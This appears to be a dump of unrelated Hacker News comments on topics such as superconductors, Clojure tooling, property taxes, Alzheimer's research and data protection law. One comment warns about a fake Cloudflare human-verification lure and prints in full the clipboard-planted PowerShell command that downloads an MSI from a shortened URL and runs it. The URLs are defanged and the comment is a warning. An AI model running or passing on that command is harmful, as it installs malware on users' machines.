skysight-inc/HackerNews huggingface dataset:
One of my favorite "dark horse" superconductor candidates came and went (and was more that 50% likely a scam) the "Ultraconductor".[1] I think it fits into this category as a 1 dimensional superconductor. I mention it here for completeness in the discussion.

The theory is that using a strong voltage gradient and UV light to grow a fiber of bipolarons in what is otherwise an insulator, results in a fiber with the conductivity of about 10,000,000 times that of copper, but a very, very narrow cross section. The growth rate is incredibly slow, so I doubt it'll be easy to commercialize.

[1] https://patents.google.com/patent/US5777292A/en

From the patent

The most remarkable feature of these films is that the room temperature conductance through the films has been directly measured by several different techniques to be at least five orders of magnitude greater than that of metal, i.e. σ≧1011 S/cm. Moreover, indirect magnetic techniques estimate that σ≧1020 S/cm.
server sync? do you mean remoteExec? that did take me a minute to get my head round. a lot of headaches the first time i needed to JIP without understanding i needed to JIP.

scheduled/unscheduled environment is another fun one.
I'm a little confused by this - I've ridden motorcycles for a decade now and typically one simply stops, dismounts, and orients oneself looking downwind.
Intentions of policies don't matter. Outcomes do
The importance of Taleb's system (2021)
A perfect system does not exist, simply one that does and can continually improve is needed. Perfect is impossible, and hardly a reasonable target.
some starters here https://www.nguyenartgallery.com/history-of-vietnamese-fine-...
Okay so here’s the issue for me. I totally hate copyright, and think it should be abolished or heavily reduced. At the same time, I hate Facebook for its ruthlessly immoral business practices. Should I be happy that Facebook gets to fuck over a bunch of authors because it’s a big, successful company rather than joe schmoe? Does the face they’re ignoring a law I don’t happen to like make it fine that the trillion dollar company can ignore the justice system and do whatever? They aren’t your friend; if they can they’ll change the law to make it specifically only legal when training models.
At most public universities, the tenure track faculty, staff, and admin are primarily jobs negotiated through the public union. They are paid for by tuition revenue and state funding. They cannot legally be cut, and almost always are directly related to the teaching aspect of a university.

However, universities do research, and need research infrastructure. This includes administrators, safety people, compliance people, core research facilities, etc. Those are usually on what is called "soft money" - funds from IDCs. Those folks can be eliminated, of course, but there are typically very few of them and they are serving the most essential roles. If you eliminate them, you may need to eliminate your research program altogether. The NIH requires you to meet safety standards, the EPA requires specific waste disposal, etc. The folks that ensure that compliance generally are paid for by IDC funding.
If you have ever looked at an old transmission electron microscope with a viewing screen, you know electrons are green ; )
As for commercial… it’s more complex but it’s interesting.

Often, anything that is not a starter office or retail, the renter pays the taxes. This is usually called triple net but lots of time it’s true even when not NNN.

So you raise the costs on the renter.

Take a 60yr old retail center owned by the same family and the rents are likely lower than market due to the buildings age (not necessarily true everywhere).

Positives:

lower costs across the board. Some businesses that just don’t seem like they can make enough do just fine.

No forced gentrification. If you raise taxes above rents, well no use having that building even exist. Tearing it down would be cheaper than open and charging rent. Or tear down and rebuild. Often with national tenants. No mom and pop in new construction last few decades.

Apartments rent on old building will go up… unless rent controlled. In which case, maybe no longer be a landlord. Remove those units.

Negatives:

long term owners benefit vs short term flippers.

General feeling of unfairness. I find this stronger in residential than commercial though.

Some commercial should be torn down. Very much an opinion though. Some call stuff blight and others character.

ADA and lots of stuff is grandfathered in so lots of stuff with character is not ADA compliant. There are reasons why stuff built today all looks the same and somewhat soulless.

BTW: new buildings, etc, get imitate hike to todays taxes even if the land does not.
Yeah, I remember back when I was a cringy teenager and bought into all the propaganda about why darkmode was better for eyes and whatnot, so much stuff..
So I spent 15 years or so with darkmode, untile one day, i read somewhere that the evidence of darkmode being better was not just lacking, but that people read dark letters on a bright background faster and more accurately than the other way around.. Now this is the Internet, with a capital I so I won't back up that claim with any references, and it's not important whether anyone believes that or not, fact is, that day, I thought "hm" and I switched my editor back to light mode and thought "hm, this is fine too" and I kept it long enough that I discovered that I prefer it.. Now, my xterm, I do want white on black, but that's just something about how that bitmap font looks to my eyes, that makes me want it that way.

But honestly, I don't get what the big deal is with either preference, it's not a big deal really.. black or white.. it's fine!
I do embedded stuff and spend a lot of time looking at electric signals.

Attitude I have about knowing stuff is asking if I can use it predicatively or for design. I feel that for most attempts at explaining how electricity actually works the answer is no. And the amount of torment I'd have to subject my brain to order to make that a yes is higher than I'd like.
10+ years ago Clojure had a fantastic introductory experience. lein new and away you go. lein was so good and effective, for both tiny hello world projects and real production apps.

The experience has gotten worse and worse now for a decade. The core team have continued to take things in a worse direction (supported by a small group of fanboys) and most newcomers are now completely baffled by the tooling.
Bybit Could Have Prevented Hack (But Didn't)
That’s why they changed the law to allow for this.
> So we voted for Tulsi to take a chain saw to the CIA.

If "we" means "the minority MAGA base", then sure. But Gabbard has never been popular. Her favorability is at -13.7 in the RCP average [1], was never above water even during the heat of the campaign, and is at about -20 now.

[1]: https://www.realclearpolitics.com/epolls/other/tulsi_gabbard...
Defragging my old Dell's UEFI NVRAM
Yeah, I also thought its a key derivation function I haven't heard of yet.
at a ski trip and am chillin after dinner with 5 woman around. posed this question, 4 of them said they would have sex with a humanoid robot (one of them is drunk :) )
I don't know that I'd liken a portrayal of gross incompetence to one of benevolence.
> Let’s say AI increases the rate of good pharma ideas by 10x. Well, until the FDA gets its act together, the relevant constraint is the rate of drug approval, not the rate of drug discovery.

IIUC, the FDA is slow on purpose. Because proving drugs aren't worse than the problems they treat takes several phases of large trials. Even if AI could cure all cancers tomorrow, I hope we still maintain a proven scientific method to QA that before releasing it widely.
Yeah, I am a dummy, I was thinking as percent of budget not GDP. Yikes!
That is explicitly illegal in the stock market, and companies are frequently sued over deceptive practices. They have whole PR departments dedicated to making sure that they convey accurate (or at least defensible) information to investors.
> mostly just empty space

I'm so tired of this. If atoms are "empty space", then there's no such thing as non-empty space, which makes the concept meaningless. Electron clouds have all the properties we want from non-empty space, mainly excluding other objects made of non-empty space, so let's just admit that's what non-empty space is and move past this pseudo-profound silliness.
I once did a cold water dive in a drysuit without fleece undergarments.

We were loading our gear onto a charter boat for a week's dive trip and the boat captain dropped his keys through the dock and into the water. I volunteered as tribute, threw my drysuit over my t-shirt and jeans and went down in search of the keys.

I quickly found the keys which was a blessing because it was the coldest I have ever been; I would never do a drysuit dive without the layers again.
To step back for a second, why is the question always re-directing funding when science funding overall has been steadily eroded by inflation and cuts since the 60s? A few months ago, I looked up the percentage of the American population that has PhDs and how it has changed over time. We have so, so, so much more advanced work and technical needs now that would benefit from them.

To answer your question more specifically, our lab is actively trying to collaborate with people working on questions related to chronic inflammation (I am not sure what the funding status is, but I know someone from our lab is working there). In particular, microglial activation. Not to get lazy with cancer analogies, but if you look at what causes even a single cancer, it's often hundreds of events lining up perfectly. The question is, which one do we target to make an effective drug? The honest answer I have to this is that it's wishful thinking to think that that decision should be made at the level of basic science. How the funding and research ecosystem is supposed to work, is academia is supposed to explore all kinds of avenues, and then industry is supposed to exploit them and push the most promising avenues after. The problem is that when there's a crunch on science funding, "this is an unexplored avenue" is not enough, and you basically begin to take on the role of industry without any of the money. I think fraud is heavily incentivized by the funding crunch, too, actually. In the case of Eliezer Masalah, my impression is that his fraud was photoshopping images and faking experiments to add to collaborators' points to support other experiments that WERE actually conducted and made the points. I assume he was trying to get a very high impact factor for funding and promotions, but was trying to minimize the chances that he would get caught by making sure his research was part of works he assumed would be reproducible given that he assumed the others' research was legitimate. I haven't kept up with the case since it initially broke, though, and I didn't go through it as closely as I should have (I also do not focus much on alpha-synuclein).

But, if you really want an answer as to why I think there is more funding on amyloids than chronic inflammation, it is that amyloids are Rome. Imagine a funnel. Chronic inflammation is near the entry to it, along with many other things. But shingles is not the only thing that might cause chronic inflammation that might cause Alzheimer's. Herpes has also been linked. So basically everything is at the very top of the funnel. But the reason people study amyloids is that they are at the very bottom of it. Chronic inflammation seems to cause them to misfold, but so do certain mutations, so if we can develop a drug that disaggregates and/or inhibits the growth of amyloids, we are stopping more causes than just looking at chronic inflammation, which is one of many.
I feel like the “no cutscenes” thing is overplayed. I’m not saying it wasn’t huge, but there was a lot more to HL’s storytelling than just the “animatronics on a fairground ride” stuff. They could have done that without the constantly evolving gameplay that kept pace with the story. Who can forget playing the soldiers against the aliens, working your way through a ridiculous set of traps, calling down a satellite strike against something otherwise unlikeable, and my personal favourite: the moment you get an RPG and then hear the sound of that damn helicopter.
> I’m sorry that you feel that shallow and uninformed opinions need to be coddled

I'm not saying any opinions need to be coddled. I'm saying that while you may interpret your interactions as 'eviscerating', I doubt if others interpret it that way.

> the goal isn’t to eviscerate that opinion. That is the outcome

Are you sure that's the outcome?

> If getting hammered with difficult questions in response is too much to handle, maybe it’s time to reevaluate them

Right.
CSVs seem like a great idea until they aren't. They're simple, portable, easy to open. No setup, no database, no friction. Just raw data, right there. That’s why people love them. But the moment they get big—really big—everything breaks. Excel crashes. Pandas eats all your RAM. Even VS Code freezes up. Suddenly, what was supposed to be the easiest format becomes the hardest to work with.

The problem is, CSVs don’t scale. No indexing means every search is a full scan. No structure means every query is brute force. A 5GB CSV isn’t just 5GB—it’s 15GB in RAM once it’s loaded, maybe more. If you don’t have the memory, your system starts swapping, and everything slows to a crawl. Sorting? Painful. Joins? Basically impossible. The tools we use weren’t built for this, but we keep using them anyway because, well, what else is there?
Malware faking "Cloudflare Am I Human" get user to install virus @0:32 [video]
Interesting bit starts around 0:32 (ain't nobody got time for this, right?)

This shows how malware pops up a dialog to "verify you are human"; something we've all seen in various different permutations. Sometimes we need to click all stoplights, sometimes we need to do a simple math problem or decipher hard to read text. This time you're being asked to enter a key combination (Win+R, then CTRL+V then Enter) which will paste a command that downloads and installs malware. The command has been sneakily put on the clipboard just earlier by the website.

The command (DON'T RUN THIS) is as follows:

cmd /c start /min powershell -NoProfile -WindowStyle Hidden -Command $path='c:\\users\\public\\3aw.msi'; Invoke-RestMethod -Uri 'https:\\qq51f.short.gy/1' -OutFile $path; Start-Process $path;

This downloads malware from https:\\qq51f.short.gy/1 which redirects to https:\\bestiamos.com/91.brr which is then saved as c:\users\public\3aw.msi and run.

(Url's are made invalid by replacing // with \\ deliberately)

First mention I could find was feb. 18th: https://any.run/report/e9af23d9fde13156ade19368fd8c2766fe8f1...

Maybe this is as old as Rome, but for me it's a first.
Sure, but we have some difficulties to understand that we have to let go some of the comfort we were used to.

And we know that EVs are not for saving our climate, it's for saving the car industry. Don't look up.
William and Flora Hewlett are both deceased FYI.
But why should they _have_ to find a community elsewhere?

It is right that a country should snuff out all communities, large and small, and drive them to hosting in another country, or "under the wing" of a behemoth with a fully-funded legal department?

It's a blatantly destructive law.
You can't get an up-front price even if you're paying cash. Maybe from an independent dental practice, if you annoy them enough, or other practices that are standalone.
> Mark Laidlaw, the sometime science-fiction novelist who wrote the script, makes no bones about the limits to his ambitions for it. “You don’t have to write the whole story,” he says. “Because it’s a conspiracy plot, everybody knows more about it than you do. So you don’t have to answer those questions. Just keep raising questions.”

That's an amazingly humble insight. It's so simple, so true, and so totally not common knowledge.

I wonder if he secretly enjoys sharing it as a "say what's wrong about The Matrix sequels without mentioning The Matrix at all"
With rounding functions you can get to 7 with just

ceil(2.2)+2+2
well i agree you need developers who are on the senior side but thinking about data and pipelines, multi methods etc, makes for a quite extensible, large, applications.

the fact that because of the repl the happy path is always tested while being built and with clojure spec you can secure the edges, it is quite scalable.

i love static typing and rust in general but with web applications, the problem space is really a distributed concurrency problem of dynamic data. and clojure is basically tailor made for that.
Gonna be a very short war.
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There are many reasons anti-amyloid mABs might not work that well besides "amyloid hypothesis is bunk." You are giving them to very late-stage patients, they don't actually work that well if you look at the data, and some people also think that if you disaggregate fibers without a molecule that also inhibits new aggregation, you are just creating more "seeds" that can grow into more amyloids. I think the fact that they do SOMETHING despite all these unanswered questions and also their terrible side effects actually suggests we might be on the right track.
It wouldn't matter if 100% of the last 20 or 30 were about tech. Dhole Moments is still a furry blog before it's anything else.
The Pool of Infinite Sorrow
I for one am also happy to live in one of the few places left on earth that focuses more on the betterment of people than the few ultra rich, and tries to prevent the ultra rich from abusing the people.
Working on hal9.ai -- Long term, a Roblox for AI; short term, a Python customizable ChatGPT that is enterprise ready. Think of ChatGPT without the LLM and support for writing your own RAG.

https://github.com/hal9ai/hal9
This is not entirely on topic, but hopefully interesting enough: I used to rice my KDE setup very much. It was like a hobby. I often tried out other DEs, other window managers, messed around with colors, themes, extensions, and so on.

I was unable to replicate my setup on another machine, so I always had e.g. my laptop "ugly", and my main machine pretty.

About two years ago, or so, I switched to i3. I have a single config file where I changed the color and the primary keybinds, and I adjusted the bar and the runner to be easier to use. It's two config files. I copy them around and all my systems look and behave the same.

They're ugly, and they get out of my way. I don't get to adjust anything, because more than 98% of the pixels on my screen are apps I'm running.

I don't see my desktop environment, I don't have to deal with it, it just works and I got used to it. I am incredibly productive on it when I want to be, and I can focus entirely on entertainment or writing when I want that.

Not a single animation outside of one's inside apps ever plays. If I open an app, it's the right one because I typed the name, and it opens instantly.

On windows, I type the name of an app, and right before I hit enter, the search changes and launches something else.

I haven't worried about GTK vs Qt themes even once since switching. I don't have window decorations. I just have my workspaces, my code, by browser, and I forget that I have a window manager.

I'm not going back for a while, and using KDE, Gnome, or even the Windows GUI, feels slow and clunky.
> Does anyone in your blog comments ever discuss circumvention of DRM?

No, they don't. My blog is not all that popular. It has got some programming puzzles, Linux HOW-TOs and stuff. Most of my audience is just my friends.
I did a month, it was actually surprisingly easily. The worst part was actually pissing off a bunch of people that couldn't reach me easily any longer.
He's done a handful of similar videos, and they're all by far the best explanations of electricity I've ever encountered.
in order for going after everyone (or whatever arbitrary number we choose) it needs to be economically feasible. it is simple math and should be explained in simple math terms. it cost on average X amount to “go after someone” - if that amount exceeds what potential benefit is based of course on earning then we do it. otherwise it makes no sense. except we make this a political issue (as everything else). any sane person running IRS would do the math and figure out what the number is where it makes sense to go after someone
Here in Germany, unlimited means unlimited. Or else.

My high score is 14000GB.
/shrug

thanks for correcting me.
Thanks to this post, I've now gotten a comment on my forum!
I wish different people than this would reply to my post :(
Jeez man everything going alright?
Fine? Are we supposed to be mad that those who want to siphon up personal data are going to US and doing it to US citizens instead?
I’ve been using the “OTP Auth” app by Roland Moers since hearing about it on Steve Gibson’s Security Now podcast.

Extremely happy with it.
Only Cooper pairs can condensate, but in a superconducting material at the critical temperature Cooper pairs account for nearly all free electrons.
This is classic regulation by technocrats as opposed to technologists.

Flawed reasoning among technocrats is that software can simply be made interoperable.

What they fail to understand is that interoperability is a two-sided process, requiring cooperation and collaboration between two (or more) parties.

And yes - it’s a process, with a cost.

Software cannot simply be made “interoperable” with all possible future permutations of other (often competing) software.

To imagine that you can demand all software is “interoperable” is literally to impose unbounded cost on all participants, because they cannot know how many other parties they will be forced to cooperate and collaborate with.

This is the kind of financial calculus that only exists in the world of bureaucrats (with their endless supply of public funding, and their never-ending remit).

To businesses, on the other hand, cost is existential.
I think this article provides a more balanced perspective:

https://www.linklaters.com/insights/blogs/digilinks/2019/sep...
Ah! Sorry. I did miss that they said "you still need to do things like write an impact assessment".

So what's the best course of action? Remove comments feature entirely? Maybe that's what I should do. I wonder what everyone else's doing.
iOS in particular is undoubtedly much better after the EU's required changes.

I wanted the UK to stay in, or at least drop back to EEA membership, but seems we get some of the benefits without membership anyway, just because we're too small to bother doing anything special for.
This is awesome, keep up the good work! Have liked and subscribed =)

After this section…

> Ultima VII was in development from 1990 to 1992 (shipping in April ’92), and even though software 3D was taking off at the time, it hadn’t been designed as a 3D game (even though it used a 3D world) and that contributed to its issues.

> But software-rendered 3D games with isometric perspectives started coming out very soon after Ultima VII, and every time I saw one I thought, “This is what Ultima VII should have looked like.”

…there are clips from three games: Dungeon Keeper (June 1997), Myth II (Dec. 1998) and Grandia (Dec. 1997). Not sure if that really counts as coming out 'very soon' after Ultima VII!